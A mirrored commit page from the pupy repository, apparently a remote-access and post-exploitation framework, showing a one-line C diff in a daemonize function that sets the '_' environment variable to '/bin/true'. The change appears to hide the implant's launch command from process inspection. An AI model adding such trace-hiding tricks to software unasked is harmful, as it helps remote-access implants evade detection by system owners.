mirror of
https://github.com/n1nj4sec/pupy.git
synced 2025-02-26 21:06:58 +00:00
After dance around environment set "_" to something neutral
This commit is contained in:
parent
e4bbfd5630
commit
025e2dba35
@ -279,6 +279,8 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
|
||||
exit (EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
setenv("_", "/bin/true", 1);
|
||||
|
||||
if (!exit_parent) {
|
||||
pid_t current_pid = getpid();
|
||||
write(pipes[1], ¤t_pid, sizeof(current_pid));
|
||||
|
Loading…
x
Reference in New Issue
Block a user